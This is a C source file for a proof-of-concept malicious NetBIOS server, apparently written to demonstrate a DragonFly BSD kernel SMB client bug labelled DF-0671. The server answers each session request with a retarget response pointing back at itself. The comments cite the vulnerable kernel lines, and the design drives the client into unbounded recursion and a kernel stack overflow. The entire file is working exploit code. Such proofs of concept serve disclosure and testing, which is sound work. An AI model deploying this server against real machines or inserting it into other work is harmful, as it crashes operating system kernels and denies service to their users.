/*
 * DF-0671 evil NetBIOS server: always answers the NB session request with a
 * RETARGET (NB_SSN_RTGRESP = 0x84) pointing back at itself, so the DragonFly
 * kernel client recurses in nbssn_rq_request() forever -> stack overflow.
 *
 *   sys/netproto/smb/smb_trantcp.c:262  smb_nbst_disconnect(nbp->nbp_vc, td);
 *   sys/netproto/smb/smb_trantcp.c:263  error = nb_connect_in(nbp, &sin, td);
 *   sys/netproto/smb/smb_trantcp.c:265  error = nbssn_rq_request(nbp, td);  <-- unbounded self-recursion
 *
 * NBSS header (4 bytes, network order), parsed by nbssn_recvhdr():
 *   byte0 = type (0x84 RTGRESP), bytes1-3 -> length = b1<<16|b2<<8|b3 (mask 0x1ffff)
 * RTGRESP payload = 4 bytes IPv4 + 2 bytes port (read by md_get_mem/md_get_uint16).
 *
 * Usage: ./evil_nbserver <port>     (default 139; root needed for <1024)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>

static void reply_rtgreg(int fd, in_addr_t ip, in_port_t port)
{
	/* RTGRESP header: type=0x84, len=6 */
	unsigned char hdr[4] = { 0x84, 0x00, 0x00, 0x06 };
	/* payload: 4-byte IP (network order) + 2-byte port (the value placed
	 * verbatim into sin_port by nbssn_rq_request; send it network order) */
	unsigned char pay[6];
	memcpy(pay, &ip, 4);
	pay[4] = (port >> 8) & 0xff;
	pay[5] = port & 0xff;
	if (write(fd, hdr, 4) != 4) { perror("write hdr"); return; }
	if (write(fd, pay, 6) != 6) { perror("write pay"); return; }
	fprintf(stderr, "[evil] sent RTGRESP -> %s:%d\n", inet_ntoa(*(struct in_addr*)&ip), ntohs(port));
}

int main(int argc, char **argv)
{
	int port = (argc > 1) ? atoi(argv[1]) : 139;
	int srv, cli;
	struct sockaddr_in sa;
	in_addr_t selfip;
	int one = 1, level = 0;

	signal(SIGPIPE, SIG_IGN);
	srv = socket(AF_INET, SOCK_STREAM, 0);
	setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	memset(&sa, 0, sizeof(sa));
	sa.sin_family = AF_INET;
	sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	sa.sin_port = htons(port);
	if (bind(srv, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1; }
	if (listen(srv, 64) < 0) { perror("listen"); return 1; }
	selfip = htonl(INADDR_LOOPBACK);
	fprintf(stderr, "[evil] listening on 127.0.0.1:%d, will retarget back to self\n", port);

	for (;;) {
		unsigned char hdr[4];
		int n, len;
		cli = accept(srv, NULL, NULL);
		if (cli < 0) { perror("accept"); continue; }
		level++;
		fprintf(stderr, "[evil] connection #%d accepted\n", level);
		/* read the NB_SSN_REQUEST header (4 bytes) */
		n = read(cli, hdr, 4);
		if (n < 4) { close(cli); continue; }
		len = ((hdr[1] & 0x1) << 16) | (hdr[2] << 8) | hdr[3];
		fprintf(stderr, "[evil]   req type=0x%02x len=%d -> draining\n", hdr[0], len);
		/* drain the request body */
		while (len > 0) {
			char buf[256];
			int r = (len > (int)sizeof(buf)) ? (int)sizeof(buf) : len;
			r = read(cli, buf, r);
			if (r <= 0) break;
			len -= r;
		}
		/* reply: retarget back to ourselves on the same port */
		reply_rtgreg(cli, selfip, htons(port));
		/* give the client a moment, then drop; client will disconnect+reconnect */
		usleep(20000);
		close(cli);
		if (level > 500) { fprintf(stderr, "[evil] 500 levels served, looping\n"); level = 0; }
	}
	return 0;
}
